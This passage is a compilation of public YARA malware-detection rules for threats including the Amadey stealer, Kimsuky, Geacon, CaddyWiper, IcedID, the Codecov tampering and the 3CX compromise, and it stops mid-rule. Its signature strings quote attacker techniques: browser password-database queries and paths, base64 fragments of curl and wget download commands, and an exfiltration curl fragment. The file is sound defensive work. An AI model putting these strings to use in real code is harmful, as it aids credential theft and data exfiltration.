rule SEKOIA_Loader_Amadey_Stealer_Plugin : FILE
{
	meta:
		description = "Finds Amadey's stealer plugin based on characteristic strings"
		author = "Sekoia.io"
		id = "50154e39-98b3-40e5-8986-18bbb7b15647"
		date = "2023-05-16"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_amadey_stealer_plugin.yar#L1-L27"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "0410492f9424797b670a14f43ce063458e59d7958e213c07c3d488a40bf370e6"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "STEALERDLL.dll" ascii
		$str02 = "?wal=1" fullword ascii
		$str03 = "Content-Disposition: form-data; name=\"data\"; filename=\"" ascii
		$str04 = "tar.exe -cf \"" ascii
		$str05 = "SELECT origin_url, username_value, password_value FROM logins" ascii
		$str06 = "\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
		$str07 = "\\SputnikLab\\Sputnik\\User Data\\Default\\Login Data" ascii
		$str08 = "\\Mozilla\\Firefox\\Profiles\\" ascii
		$str09 = "\"hostname\":\"([^\"]+)\"" ascii
		$str10 = "\"encryptedUsername\":\"([^\"]+)\"" ascii
		$str11 = "\"encryptedPassword\":\"([^\"]+)\"" ascii
		$str12 = "&cred=" fullword ascii
		$str13 = "D:\\Mktmp\\Amadey\\StealerDLL\\x64\\Release\\STEALERDLL.pdb" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 7 of them
}

rule SEKOIA_Apt_Kimsuky_Toddlershark_Obfuscated : FILE
{
	meta:
		description = "Detects obfuscated version of Kimsuky TODDLERSHARK vbs malware"
		author = "Sekoia.io"
		id = "9ab82466-4f38-4597-b75b-13252e180c70"
		date = "2024-03-06"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_kimsuky_toddlershark_obfuscated.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "5f067ce32e7fee5cf481d82bb98f4ae10bd7187078bc111b08fc58d043954152"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = { 3a 20 [3-10] 20 3d 20 22 [3-30] 22 3a }
		$s2 = { 45 78 65 63 75 74 65 28  [3-15] 28 22 }
		$s3 = { 50 72 69 76 61 74 65 20 46 75 6e 63 74 69 6f 6e 20 [3-15] 28 42 79 56 61 6c 20 [3-15] 29 3a }
		$s4 = "& Chr(\"&H\" & Mid("
	condition:
		#s4== 1 and #s3 == 1 and #s2 == 1 and #s1 > 20 and filesize < 1MB
}

rule SEKOIA_Implant_Win_Geacon : FILE
{
	meta:
		description = "Finds Geacon samples based on specific strings"
		author = "Sekoia.io"
		id = "064eabe0-aee5-4e5e-9f5e-69b32b1ba0da"
		date = "2024-01-11"
		modified = "2024-12-19"
		reference = "https://www.sentinelone.com/blog/geacon-brings-cobalt-strike-capabilities-to-macos-threat-actors/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/implant_win_geacon.yar#L1-L35"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "74b0d2fbb8b7f6666543ba4fdfd9f9d2064d3a89d21c90d794b57f0009199fea"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$gea01 = "geacon/config.init" ascii
		$gea02 = "geacon_pro-master/config/config.go" ascii
		$gea03 = "geacon_plus-main/config/config.go" ascii
		$gea04 = "command type %d is not support by geacon now" ascii
		$gea05 = "main/sysinfo.GeaconID" ascii
		$str01 = "command.StealToken" ascii
		$str02 = "command.MakeToken" ascii
		$str03 = "command/misc.go" ascii
		$str04 = "config/c2profile.go" ascii
		$str05 = "crypt.AesCBCDecrypt" ascii
		$str06 = "packet.File_Browse" ascii
		$str07 = "packet.FirstBlood" ascii
		$str08 = "packet.ParseCommandShell" ascii
		$str09 = "packet.ParseCommandUpload" ascii
		$str10 = "packet.PushResult" ascii
		$str11 = "sysinfo.GetComputerName" ascii
		$str12 = "sysinfo.IsOSX64" ascii
		$str13 = "util..inittask" ascii
	condition:
		uint16( 0 ) == 0x5A4D and ( ( 1 of ( $gea* ) and 2 of ( $str* ) ) or 8 of ( $str* ) )
}

rule SEKOIA_Infostealer_Win_Whitesnake_Xor_Rc4_July12 : FILE
{
	meta:
		description = "Detects WhiteSnake Stealer XOR and RC4 version"
		author = "Sekoia.io"
		id = "f2ebfcbd-9667-459a-a543-ce0be62c0dc4"
		date = "2023-07-12"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_whitesnake_xor_rc4_july12.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "f14b95e5cb6ffaab14d0890847fe6e9dcfc3ee0b884c34d24d786420e2411a80"
		score = 75
		quality = 76
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$1 = {FE 0C 00 00 FE 09 00 00 FE 0C 02 00 6F ?? 00 00 0A FE 0C 03 00 61 D1 FE 0E 04 00 FE}
		$2 = {61 6e 61 6c 2e 6a 70 67}
		$3 = {73 68 69 74 2e 6a 70 67}
		$4 = {FE 0C ?? 00 20 00 01 00 00 3F ?? FF FF FF 20 00 00 00 00 FE 0E ?? 00 38 ?? 00 00 00 FE 0C}
		$5 = "qemu" wide
		$6 = "vbox" wide
	condition:
		($1 and $2 and filesize < 600KB ) or ( $3 and $4 and $5 and $6 and filesize < 300KB )
}

/*
 * YARA Rule Set
 * Repository Name: Synacktiv
 * Repository: https://github.com/synacktiv/synacktiv-rules
 * Retrieval Date: 2026-03-15
 * Git Commit: d234cc4da0783db7dca56ae8dd5252afdc248df8
 * Number of Rules: 3
 * Skipped: 0 (age), 0 (quality), 5 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * # Detection Rule License (DRL) 1.1

Permission is hereby granted, free of charge, to any person obtaining a copy of this rule set and associated documentation files (the "Rules"), to deal in the Rules without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Rules, and to permit persons to whom the Rules are furnished to do so, subject to the following conditions:

If you share the Rules (including in modified form), you must retain the following if it is supplied within the Rules:

1. identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).

2. a URI or hyperlink to the Rule set or explicit Rule to the extent reasonably practicable

3. indicate the Rules are licensed under this Detection Rule License, and include the text of, or the URI or hyperlink to, this Detection Rule License to the extent reasonably practicable

If you use the Rules (including in modified form) on data, messages based on matches with the Rules must retain the following if it is supplied within the Rules:

1. identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).

THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE RULES.
 */
/*
 * YARA Rule Set
 * Repository Name: ArtifactDrop
 * Repository: https://github.com/matthieugras/artifact-drop/
 * Retrieval Date: 2026-03-15
 * Git Commit: d2bcbe820bc134a4ed672ef6013498f856561af4
 * Number of Rules: 1
 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */

/*
 * YARA Rule Set
 * Repository Name: Signature Base
 * Repository: https://github.com/Neo23x0/signature-base
 * Retrieval Date: 2026-03-15
 * Git Commit: 8b8cef4c719ef8193f8de6f98fefc126b4b4c66d
 * Number of Rules: 1065
 * Skipped: 2814 (age), 210 (quality), 339 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * # Detection Rule License (DRL) 1.1

Permission is hereby granted, free of charge, to any person obtaining a copy 
of this rule set and associated documentation files (the "Rules"), to deal 
in the Rules without restriction, including without limitation the rights to 
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 
of the Rules, and to permit persons to whom the Rules are furnished to do so, 
subject to the following conditions:

If you share the Rules (including in modified form), you must retain the 
following if it is supplied within the Rules:

1. identification of the authors(s) ("author" field) of the Rule and any 
   others designated to receive attribution, in any reasonable manner 
   requested by the Rule author (including by pseudonym if designated).

2. a URI or hyperlink to the Rule set or explicit Rule to the extent 
   reasonably practicable

3. indicate the Rules are licensed under this Detection Rule License, and 
   include the text of, or the URI or hyperlink to, this Detection Rule 
   License to the extent reasonably practicable

If you use the Rules (including in modified form) on data, messages based on 
matches with the Rules must retain the following if it is supplied within the 
Rules:

1. identification of the authors(s) ("author" field) of the Rule and any 
   others designated to receive attribution, in any reasonable manner 
   requested by the Rule author (including by pseudonym if designated).

THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 
OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE 
RULES.

 */
rule SIGNATURE_BASE_SUSP_Base64_Encoded_Exploit_Indicators_Dec21 : CVE_2021_44228
{
	meta:
		description = "Detects base64 encoded strings found in payloads of exploits against log4j CVE-2021-44228"
		author = "Florian Roth (Nextron Systems)"
		id = "09abc4f0-ace7-5f53-b1d3-5f5c6bf3bdba"
		date = "2021-12-10"
		modified = "2021-12-13"
		reference = "https://twitter.com/Reelix/status/1469327487243071493"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_log4j_cve_2021_44228.yar#L142-L165"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "703a83916c7279bcdc3cd61602472c2a3815140235be169f5b2063a547438c61"
		score = 70
		quality = 85
		tags = "CVE-2021-44228"
	strings:
		$sa1 = "Y3VybCAtcy"
		$sa2 = "N1cmwgLXMg"
		$sa3 = "jdXJsIC1zI"
		$sb1 = "fHdnZXQgLXEgLU8tI"
		$sb2 = "x3Z2V0IC1xIC1PLS"
		$sb3 = "8d2dldCAtcSAtTy0g"
		$fp1 = "<html"
	condition:
		1 of ( $sa* ) and 1 of ( $sb* ) and not 1 of ( $fp* )
}

rule SIGNATURE_BASE_APT_SH_Codecov_Hack_Apr21_1 : FILE
{
	meta:
		description = "Detects manipulated Codecov bash uploader tool that has been manipulated by an unknown actor during March / April 2021"
		author = "Florian Roth (Nextron Systems)"
		id = "b5fb74c4-073e-53af-a207-1672e63c9a64"
		date = "2021-04-16"
		modified = "2023-12-05"
		reference = "https://about.codecov.io/security-update/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_codecov_hack.yar#L2-L17"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1aa7723982a1b675ba6694f1af0eb28e5926b974874580bd727cf33a3f8d893a"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$a1 = "Global report uploading tool for Codecov"
		$s1 = "curl -sm 0.5 -d"
	condition:
		uint16( 0 ) == 0x2123 and filesize < 70KB and all of them
}

rule SIGNATURE_BASE_APT_Artradownloader2_Aug19_1 : FILE
{
	meta:
		description = "Detects ArtraDownloader malware"
		author = "Florian Roth (Nextron Systems)"
		id = "0e688e92-2366-5f36-a32d-083982181eb7"
		date = "2019-08-27"
		modified = "2023-12-05"
		reference = "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_patchwork.yar#L2-L30"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c365c3d678c881eeb626b5d26e6164b473990387619337459ccdd8d9f0633b49"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "f0ef4242cc6b8fa3728b61d2ce86ea934bd59f550de9167afbca0b0aaa3b2c22"
	strings:
		$xc1 = { 47 45 54 20 25 73 20 48 54 54 50 2F 31 2E 30 00
               0D 0A 00 00 48 6F 73 74 3A 20 25 73 00 00 00 00
               3F 61 3D 00 26 62 3D 00 26 63 3D 00 26 64 3D 00
               26 65 3D 00 25 32 30 }
		$xc2 = { 25 73 20 25 73 20 25 73 0D 0A 25 73 20 25 73 0D
               0A 25 73 25 73 0D 0A 25 73 25 73 0D 0A 25 73 20
               25 64 0D 0A 0D 0A 25 73 00 00 00 00 71 72 79 3D }
		$xc3 = { 49 44 3D 25 73 00 00 00 3A 00 00 00 25 73 20 25
               73 20 25 73 0D 0A 25 73 20 25 73 0D 0A 25 73 25
               73 0D 0A 25 73 25 73 0D 0A 43 6F 6E 74 65 6E 74
               2D 6C 65 6E 67 74 68 25 73 20 25 64 }
		$xc4 = { 25 73 20 25 73 20 25 73 0D 0A 25 73 20 25 73 0D
               0A 25 73 25 73 0D 0A 25 73 25 73 0D 0A 43 6F 6E
               74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 25 64 0D
               0A 0D 0A 25 73 }
		$x1 = "Tpguxbsf]Njdsptpgu" ascii
		$x2 = ".gpsn.vsmfodpefe" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of them
}



rule SIGNATURE_BASE_SUSP_PDB_CN_Threat_Actor_May19_1 : FILE
{
	meta:
		description = "Detects PDB path user name used by Chinese threat actors"
		author = "Florian Roth (Nextron Systems)"
		id = "fc6969ed-5fc1-5b3b-9659-c6fc1c9e2f9c"
		date = "2019-05-31"
		modified = "2023-12-05"
		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_nansh0u.yar#L52-L65"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "adcfe3d4bc6fcaf6be4f70c91fb2150bfa2d61f1ba84f96a0bf0c39ed0380b6a"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "01c3882e8141a25abe37bb826ab115c52fd3d109c4a1b898c0c78cee8dac94b4"
	strings:
		$x1 = "C:\\Users\\zcg\\Desktop\\" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them
}


rule SIGNATURE_BASE_MAL_Parite_Malware_May19_1 : FILE
{
	meta:
		description = "Detects Parite malware"
		author = "Florian Roth (Nextron Systems)"
		id = "f4c9da17-9894-5243-828a-827accb0bac5"
		date = "2019-05-31"
		modified = "2023-12-05"
		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_nansh0u.yar#L80-L100"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b458b05178f18be1e936c1b42bbd91c739f288570fca759b85f1bb143899f1a8"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "c9d8852745e81f3bfc09c0a3570d018ae8298af675e3c6ee81ba5b594ff6abb8"
		hash2 = "8d47b08504dcf694928e12a6aa372e7fa65d0d6744429e808ff8e225aefa5af2"
		hash3 = "285e3f21dd1721af2352196628bada81050e4829fb1bb3f8757a45c221737319"
		hash4 = "b987dcc752d9ceb3b0e6cd4370c28567be44b789e8ed8a90c41aa439437321c5"
	strings:
		$s1 = "taskkill /im cmd.exe /f" fullword ascii
		$s2 = "LOADERX64.dll" fullword ascii
		$x1 = "\\dllhot.exe" ascii
		$x2 = "dllhot.exe --auto --any --forever --keepalive" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10000KB and ( 1 of ( $x* ) or 2 of them )
}


rule SIGNATURE_BASE_EXPL_Strings_CVE_POC_May19_1 : FILE
{
	meta:
		description = "Detects strings used in CVE POC noticed in May 2019"
		author = "Florian Roth (Nextron Systems)"
		id = "df11e0b1-e907-5a24-a3e7-0e78acb379f7"
		date = "2019-05-31"
		modified = "2023-12-05"
		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_nansh0u.yar#L120-L136"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b470e9f5716130d810e519abb8d4e1058b5a806d59ddae53a40cac5597fbb874"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "01c3882e8141a25abe37bb826ab115c52fd3d109c4a1b898c0c78cee8dac94b4"
	strings:
		$x1 = "\\Debug\\poc_cve_20" ascii
		$x2 = "\\Release\\poc_cve_20" ascii
		$x3 = "alloc fake fail: %x!" fullword ascii
		$x4 = "Allocate fake tagWnd fail!" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them
}

rule SIGNATURE_BASE_MAL_WIPER_Caddywiper_Mar22_1 : FILE
{
	meta:
		description = "Detects CaddyWiper malware"
		author = "Florian Roth (Nextron Systems)"
		id = "83495a0d-a295-5ec7-9761-ce79918e1034"
		date = "2022-03-15"
		modified = "2023-12-05"
		reference = "https://twitter.com/ESETresearch/status/1503436420886712321?s=20&t=xh8JK6fEmRIrnqO7Ih_PNg"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ua_caddywiper.yar#L2-L22"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0d0278596010953e7068979c92a33dc0ace1bfa94979077412128d1ca756f834"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "1e87e9b5ee7597bdce796490f3ee09211df48ba1d11f6e2f5b255f05cc0ba176"
		hash2 = "a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea"
		hash3 = "ea6a416b320f32261da8dafcf2faf088924f99a3a84f7b43b964637ea87aef72"
		hash4 = "f1e8844dbfc812d39f369e7670545a29efef6764d673038b1c3edd11561d6902"
	strings:
		$op1 = { ff 55 94 8b 45 fc 50 ff 55 f8 8a 4d ba 88 4d ba 8a 55 ba 80 ea 01 }
		$op2 = { 89 45 f4 83 7d f4 00 74 04 eb 47 eb 45 6a 00 8d 95 1c ff ff ff 52 }
		$op3 = { 6a 20 6a 02 8d 4d b0 51 ff 95 68 ff ff ff 85 c0 75 0a e9 4e 02 00 00 }
		$op4 = { e9 67 01 00 00 83 7d f4 05 74 0a e9 5c 01 00 00 e9 57 01 00 00 8d 45 98 50 6a 20 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and 3 of them or all of them
}

rule SIGNATURE_BASE_MAL_Icedid_GZIP_LDR_202104 : FILE
{
	meta:
		description = "2021 initial Bokbot / Icedid loader for fake GZIP payloads"
		author = "Thomas Barabosch, Telekom Security"
		id = "fbf578e7-c318-5f67-82df-f93232362a23"
		date = "2021-04-12"
		modified = "2023-01-27"
		reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_icedid.yar#L14-L40"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7a7cc6c7dcbf43bace6a1f259af38560327c34386517e719ad81068b2d9b6659"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$internal_name = "loader_dll_64.dll" fullword
		$string0 = "_gat=" wide
		$string1 = "_ga=" wide
		$string2 = "_gid=" wide
		$string4 = "_io=" wide
		$string5 = "GetAdaptersInfo" fullword
		$string6 = "WINHTTP.dll" fullword
		$string7 = "DllRegisterServer" fullword
		$string8 = "PluginInit" fullword
		$string9 = "POST" wide fullword
		$string10 = "aws.amazon.com" wide fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( $internal_name or all of ( $s* ) ) or all of them
}


rule SIGNATURE_BASE_MAL_Crime_Win32_Rat_Parallax_Shell_Bin : FILE
{
	meta:
		description = "Detects Parallax injected code"
		author = "@VK_Intel"
		id = "6bb337ef-3156-589a-9b2f-fa1b21699433"
		date = "2020-05-05"
		modified = "2023-12-05"
		reference = "https://twitter.com/VK_Intel/status/1257714191902937088"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_rat_parallax.yar#L2-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6b8c71cc19ca6f066d27a4e58d9ec347ac51d245308f2c41adf2386242581610"
		score = 75
		quality = 85
		tags = "FILE"
		tlp = "white"
	strings:
		$ntdll_load = {55 8b ec 81 ec d0 08 00 00 53 56 57 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 33 c0 b9 18 01 00 00 f3 ?? 68 02 9f e6 6a e8 ?? ?? ?? ?? 8b d8 68 40 5e c0 84 89 ?? ?? e8 ?? ?? ?? ?? 6a 00 8b f0 68 0b 1c 64 72 53 89 ?? ?? e8 ?? ?? ?? ?? 83 c4 14 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 68 30 02 00 00 51 ff d0 6a 6e 58 6a 74 66 ?? ?? ?? ?? ?? ?? 58 6a 64 59 6a 6c 66 ?? ?? ?? ?? ?? ?? 58 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 33 c0 6a 2e}
		$call_func = {81 ec bc 00 00 00 8d ?? ?? 56 50 6a 00 6a 01 ff ?? ?? e8 ?? ?? ?? ?? 8b f0 83 c4 10 85 f6 0f ?? ?? ?? ?? ?? 33 c9 89 ?? ?? 39 ?? ?? 0f ?? ?? ?? ?? ?? 8b ?? ?? 53 57 8b ?? ?? 8d ?? ?? 0f ?? ?? ?? 8b ?? ?? 8d ?? ?? 8b ?? ?? 03 fa 8b df 2b da 03 ?? ?? 80 ?? ?? 0f ?? ?? ?? ?? ?? 83 ?? ?? ?? 8b c7 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 99 89 ?? ?? 8b ca 89 ?? ?? 8d ?? ?? 99 89 ?? ?? 89 ?? ?? 8d ?? ?? 89 ?? ?? 89 ?? ?? 8b ca 99 89 ?? ?? 89 ?? ?? 8b ca 89 ?? ?? 89 ?? ?? 8d ?? ?? 6a 40 89 ?? ??}
		$cryp_hex = {8b ec 8b ?? ?? 25 55 55 55 55 d1 e0 8b ?? ?? d1 e9 81 e1 55 55 55 55 0b c1 89 ?? ?? 8b ?? ?? 81 e2 33 33 33 33 c1 e2 02 8b ?? ?? c1 e8 02 25 33 33 33 33 0b d0 89 ?? ?? 8b ?? ?? 81 e1 0f 0f 0f 0f c1 e1 04 8b ?? ?? c1 ea 04 81 e2 0f 0f 0f 0f 0b ca 89 ?? ?? 8b ?? ?? c1 e0 18 8b ?? ?? 81 e1 00 ff 00 00 c1 e1 08 0b c1 8b ?? ?? c1 ea 08 81 e2 00 ff 00 00 0b c2 8b ?? ?? c1 e9 18 0b c1 89 ?? ?? 8b ?? ?? 5d c3}
	condition:
		uint16( 0 ) == 0x5a4d and 2 of them or all of them
}

rule SIGNATURE_BASE_Crime_Ole_Loadswf_Cve_2018_4878 : PURPORTED_NORTH_KOREAN_ACTORS CVE_2018_4878 FILE
{
	meta:
		description = "Detects CVE-2018-4878"
		author = "Vitali Kremez, Flashpoint"
		id = "44797bbc-693b-5fcb-a4a4-4ebf3f4da725"
		date = "2026-01-01"
		modified = "2023-12-05"
		reference = "hxxps://www[.]krcert[.]or[.kr/data/secNoticeView.do?bulletin_writing_sequence=26998"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_ole_loadswf_cve_2018_4878.yar#L2-L31"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "716cad0c5a12cc360522e2649c7870a493bef4bec3d55c3a3e235f3a85c02a56"
		score = 75
		quality = 85
		tags = "PURPORTED NORTH KOREAN ACTORS, CVE-2018-4878, FILE"
		vuln_type = "Remote Code Execution"
		vuln_impact = "Use-after-free"
		affected_versions = "Adobe Flash 28.0.0.137 and earlier versions"
		mitigation0 = "Implement Protected View for Office documents"
		mitigation1 = "Disable Adobe Flash"
		weaponization = "Embedded in Microsoft Office first payloads"
		actor = "Purported North Korean actors"
	strings:
		$header = "rdf:RDF" wide ascii
		$title = "Adobe Flex" wide ascii
		$pdb = "F:\\work\\flash\\obfuscation\\loadswf\\src" wide ascii
		$s0 = "URLRequest" wide ascii
		$s1 = "URLLoader" wide ascii
		$s2 = "loadswf" wide ascii
		$s3 = "myUrlReqest" wide ascii
	condition:
		filesize < 500KB and all of ( $header* ) and all of ( $title* ) and 3 of ( $s* ) or all of ( $pdb* ) and all of ( $header* ) and 1 of ( $s* )
}


rule SIGNATURE_BASE_APT_SUSP_NK_3CX_RC4_Key_Mar23_1 : FILE
{
	meta:
		description = "Detects RC4 key used in 3CX binaries known to be malicious"
		author = "Florian Roth (Nextron Systems)"
		id = "18ea2185-11a1-51ad-a51a-df9e6357bb58"
		date = "2023-03-29"
		modified = "2023-12-05"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_mal_3cx_compromise_mar23.yar#L100-L117"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8324b537b149ad3816b12ae0f887f66a284a8e1ef4fe7cf51eb21d59c0f055b9"
		score = 70
		quality = 85
		tags = "FILE"
		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
		hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
		hash3 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
		hash4 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
	strings:
		$x1 = "3jB(2bsG#@c7"
	condition:
		( uint16( 0 ) == 0xcfd0 or uint16( 0 ) == 0x5a4d ) and $x1
}


rule SIGNATURE_BASE_APT_MAL_Macos_NK_3CX_Malicious_Samples_Mar23_1 : FILE
{
	meta:
		description = "Detects malicious macOS application related to 3CX compromise (decrypted payload)"
		author = "Florian Roth (Nextron Systems)"
		id = "ff39e577-7063-5025-bead-68394a86c87c"
		date = "2023-03-30"
		modified = "2023-12-05"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_mal_3cx_compromise_mar23.yar#L168-L184"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c2733c2f7dcca82e5a0b2301777fb54853d04dfa893bcf88ecbec34d37e1a38a"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb"
		hash2 = "ac99602999bf9823f221372378f95baa4fc68929bac3a10e8d9a107ec8074eca"
